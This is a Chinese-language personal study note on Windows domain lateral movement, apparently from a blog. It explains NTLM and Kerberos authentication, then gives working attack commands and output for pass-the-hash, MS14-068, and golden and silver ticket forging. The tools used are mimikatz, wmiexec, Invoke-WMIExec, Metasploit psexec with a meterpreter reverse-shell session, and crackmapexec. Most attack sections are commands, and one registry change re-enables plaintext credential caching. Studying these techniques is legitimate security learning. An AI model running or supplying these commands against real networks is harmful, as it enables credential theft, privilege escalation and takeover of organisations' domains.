zoukankan      html  css  js  c++  java
  • 横向移动常见手法

     
    上次的笔记不小心被我删除了,这次就重新总结一下,温故而知新吗(这篇学习笔记很久就写完了,最近吧内网的东西都熟悉了一遍,发现了这个笔记)~
     

    Windows的Hash类型

    在内网域渗透的过程中最重要的就是就是对windows的认证机制的理解
     

    • Windows中的hash类型
       
    LM HASH
    很古老的hash类型,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据,Vista以前的版本使用过,之后的版本中都默认禁用了LM协议.
    
    NTLM HASH
    Vista以上的操作系统使用的Hash,通常意义上的NTLM Hash指存储在SAM数据库以及NTDS数据库中对密码进行摘要计算后的结果,这类Hash可以直接用于Pth(哈希传递),并且通常在lsass进程中(使用mimikatz抓取或procdump down下内存),便于ssp使用.
    
    NET-NTLM HASH
    一般用于网络身份认证(例如NTLM认证中),目前分为两个版本:
    Net-NTLMv1
    Net-NTLMv2
    此类hash不能直接用来pth,但是可以通过暴力破解来获取明文密码
    

    windows的认证机制

    • 工作组认证(NTML认证)
    1.客户端发起认证请求
    2.服务端收到认证请求,向客户端发送随机数(challenge/挑战)
    3.客户端使用NTLM Hash打乱随机数,生成Net-NTLM Hash发送回服务端(注意是用MTLMhash打乱的,所以我们要是有用户的hash值,那么我们也就可以伪造认证,造成pth攻击)
    
    • 域认证(NTML认证)
       
      实际中也就是比工作组认证多了个域控的角色
       
    1.client输入username,password和domain,然后client会把password hash后的值缓存在本地
    2.client将username的明文发送给server(DC)
    3.DC生成一个16字节的随机数,即challenge,在传回client
    4.client收到challenge以后,先复制一份出来,然后和缓存中的密码hash在一同hash一次,混合后的值成为response,之后client再将challenge,response,以及username一并传给server
    5.server在收到client传过来的这三个值以后会把他们都转发给DC
    6.DC接受到三个值以后,会根据username到域控的账号数据库(ntds.dist)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值在混合hash
    7.将混合后的hash值与response,进行比较,相同则认证成功,反之失败,当然,如果是本地登录,所有验证肯定也全部直接在本地进行了
    
    根据认证过程可以看到,假设知道了hash值还是可以伪造登陆的
    
    • 域认证(Kerberos协议,票据伪造)
    主要是分为3步
    
    第一:从AS服务器中获取TGT票据
    用户在客户端输入账号和密码之后,会对密码进行hash处理,作为user-secret-key
    1. 客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数据库中查询到该用户名的密码,并使用hash生成user-secrect-key.
    2. AS服务器向用户发送两样东西:
        1) Client/TGS会话密钥,使用user-secrect-key进行加密
        2) TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密
    3.用户接收到消息之后,回使用本地的user-secret-key对消息1)进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT
    
    第二:从TGS服务器中获取访问权限
    1.客户端向TGS服务器发送信息:
        1) 第一步骤中的TGT
        2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。
    2.TGS服务器收到消息之后,会使用TGS密钥对消息1)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:
        1) client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密
        2) ss会话密钥使用TGS会话密钥进行加密
    3.客户端收到信息之后会对消息2)进行解密,获得ss会话密钥。
    
    第三: 访问服务
    1.客户端向ss服务器发送以下消息:
        1)第二步骤中的client-server-ticket
        2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密
    2.SS服务器收到消息之后,会使用ss密钥对消息1)进行解密,解密之后使用ss会话密钥对消息2)解密,解密成功之后会得到authenticator,认证之后,发送:
        1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密
    3.客户端收到时间戳之后,解密确认,成功之后发送服务请求
    4.ss服务器收到之后提供服务。
    

     
    除了Kerberos协议的认证流程不懂之外其他的都已经了解了(感觉这个Kerberos对我来说确实有点难了emmmmm)
     

    横向移动

    • 哈希传递

    经典的攻击方式,原理就是攻击者直接通过LM Hash和NTLM Hash访问远程主机或服务,而不提供明文密码.

    适用于以下情况

    * 域/工作组环境
    * 可以获得hash,但是条件不允许对hash爆破
    * 内网中存在和当前机器相同的密码
    

     
    针对pth微软也打过补丁kb2871997,但是对于本地的administrator以及域内的管理员是无效的,仍然可以利用其hash进行pth,最好的一点就是防止了mimikatz等工具直接抓取明文密码(但是我们可以down下内存来本地抓取,hash还是可以抓取到的,因为一些认证过程会用到hash),打了补丁的机器在wdigetst里面的密码一栏为空.
     
    当然还有人给出了绕过的办法(修改注册表,未测试)
     
    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
     
    注销、重启后生效(有时间在测试)
     

    • 使用mimikatz(不仅仅只是抓取密码,pth,票据的制作都可以!)
    privilege::debug
    sekurlsa::logonpasswords
    sekurlsa::pth /user:administrator /domain:MIKASA /ntlm:0ceacf18afa10f3c5c30bc43e115cb4a
    
    这样的话就会在本地创建一个cmd,直接就可以用IPC管道符远程连接了(cmd退出就会失效).
    
    • 使用wmiexec(隐蔽性极高,无文件)

    下载地址
     

    wmiexec.exe -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6 MIKASA.com/administrator@192.168.22.138 "whoami"
    
    直接有回显执行命令
    

    还有一个是PowerShell

    set-executionpolicy remotesigned   //powershell中开启运行脚本的权限
    
     Import-Module .Invoke-WMIExec.ps1   //导入函数
    
    Invoke-WMIExec -Target 192.168.22.138 -Domain MIKASA.com -Username administrator -Hash 283471905734ce1951aa2b5f0d7253f6 -Command "calc.exe" -verbose
    
    当然这个项目中还有smbexec等等,利用方法都是一致的
    
    • 使用msf
    use exploit/windows/smb/psexec    
    xxxxx
    xxx
    xxx
    smbpass => 283471905734ce1951aa2b5f0d7253f6:283471905734ce1951aa2b5f0d7253f6
    msf5 exploit(windows/smb/psexec) > exploit 
    
    [*] Started reverse TCP handler on 192.168.22.1:4444 
    [*] 192.168.22.138:445 - Connecting to the server...
    [*] 192.168.22.138:445 - Authenticating to 192.168.22.138:445|MIKASA.com as user 'administrator'...
    [*] 192.168.22.138:445 - Selecting PowerShell target
    [*] 192.168.22.138:445 - Executing the payload...
    [+] 192.168.22.138:445 - Service start timed out, OK if running a command or non-service executable...
    [*] Sending stage (180291 bytes) to 192.168.22.138
    [*] Meterpreter session 8 opened (192.168.22.1:4444 -> 192.168.22.138:52238) at 2019-12-08 21:20:41 +0800
    
    meterpreter > getuid
    Server username: NT AUTHORITYSYSTEM
    meterpreter > getuid
    Server username: NT AUTHORITYSYSTEM
    
    
    可以直接获取到
    
    • 使用CS
    pth domainuser ntlmhash
    
    shell dir \主机名C$  
    
    不行的话在用CS右键 Access-> Make token按操作就行了
    

    CS的东西还是挺多的,这里面暂时就不先总结了

    • Linux/MAC横向移动

    下载链接

    使用IMPACKET工具
    python wmiexec.py -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6  MIKASA.com/administrator@192.168.22.138  "whoami"
    

     
    也是可以的
     

    • 使用crackmapexec批量扫描

    下载链接

    crackmapexec 192.168.0.0/24 -u administrator -H 03bebb338e70244589ea67c7439c77ba
    
    //枚举C段
    

    没有安装成功
     

    • Kali

    自带了很多的哈希传递的工具(没怎么用过KALI)
     

    票据伪造(票据传递/ptt)

     
    票据传递的攻击就是利用Kerberos协议进行攻击,暂时介绍三种常见的攻击方法ms14-058,Golden ticket,sliver ticket.
     
    下面再简单的说明一下域内的kerberos协议工作方式
     

    客户机将明文密码进行ntml哈希,然后和时间戳一起加密(使用krbtgt密码的hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
    将TGT进行加密签名返回给客户机器,只有与用户才可以读取kerberos中TGT的数据
    然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且TGT进行检测
    检测成功之后,将目标服务账户的NTML以及TGT进行加密,将加密后的结果返回给客户机
    
    • ms14-068(对应补丁KB3011780)
       
      利用的是密钥分发中心(KDC)的漏洞,允许任意普通域用户伪造任意票据
        windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
      1. 在请求AS时,将require_PAC设置成False。
      2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
      3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
       
      利用前提
    域控没有打补丁MS14-069(KB3011780)
    拿下一台加入域的计算机
    有这台域内计算机的与用户密码和SID
    

     
    利用过程
     

    whoami /user获取域用户的sid
     

     
    使用mimikatz抓取密码
     
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

     
     
    ms14-068.exe -u win7@MIKASA.com -s S-1-5-21-3006648259-3336348783-1992286540-1104 -d WIN-Q1E9PO4969I.MIKASA.com -p xxx
     
    在使用mimikatz将证书写入,升级为域管理员
     
    kerberso::ptc 证书名字
     
    之后就可以使用psexec、wmiexec等免密码的执行命令登录了

     
    psexec64.exe \WIN-Q1E9PO4969I cmd.exe

     
    参考文章:

    https://www.cnblogs.com/backlion/p/6820744.html?utm_source=itdadao&utm_medium=referral

    http://xnianq.cn/2018/10/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E4%B9%8B%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/

    • 黄金票据(类似于域控的后门)

    原理:kerberos协议认证过程中,客户端将自己的信息发送给KDC,KDC使用krbtgt用户密码hash作为密钥进行加密,生成TGT(也就是说我们获取得到了krbtgt的密码hash就可以任意伪造TGT了),但是krbtgt的密码hash只有DC上才有
     
    适用场景

    知道krbtgt用户的hash(说明已经获取到了域控制器的权限)
    知道域名称
    知道域的SID值
    知道要伪造的用户名
    
    先登录到域服务器,dump krbtgt用户的hash值,获取域sid
    mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" > c:1.txt
    获取域SID:S-1-5-21-3006648259-3336348783-1992286540
    krbtgt的hash: c06e999c1a956bf99502142582e1b495
    到普通域用户机器上使用mimikatz生成黄金票据
    kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495  /ptt 
    直接内存注入
    
    或者
    使用/ticket:test.kirbi参数导出凭据在使用
    kerberos::ptt test.kirbi注入
    

     
    psexec64.exe \WIN-Q1E9PO4969I cmd.exe

     
    防御措施

    建议经常更新krbtgt的密码
    还有的分析黄金票据有局限性
    https://www.cnblogs.com/backlion/p/8127868.html
    

    OK,关于黄金票据就到此结束了.

    • 白银票据

    白银票据就跟黄金票据不同了,他并不是像黄金票据一样利用krbtgt伪造TGT,他是直接不与KDC通信,使用的是计算机账户的hash(域控的计算机账户)来伪造TGT,因此只能访问特定的服务.
     

    首先上域控中抓取密码
    获取到目标机器的hash(注意是机器hash而不是域用户hash)
    9f26d10e5bbcb5b891fc6ca79e53a033
    mimikatz伪造白银票据
    
    
    kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540  /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:a3c828040b117c4c4cc8f2b8ff82a24f  /service:cifs /user:win7 /ptt
    

     
    之后就可以访问域控的文件系统了
     

  • 相关阅读:
    OpenCV中 常用 函数 的作用
    OpenCV中Mat的使用
    awk --- 常用技巧
    Specify 的含义 ------ 转载
    关于CPU CACHE工作机制的学习
    关于CPU Cache -- 程序猿需要知道的那些事
    ARM920T的Cache
    Learn Git and GitHub
    朴素贝叶斯分类器(MNIST数据集)
    k-近邻算法(KNN)识别手写数字
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/heng-xiang-yi-dong-chang-jian-shou-fa.html
Copyright © 2011-2022 走看看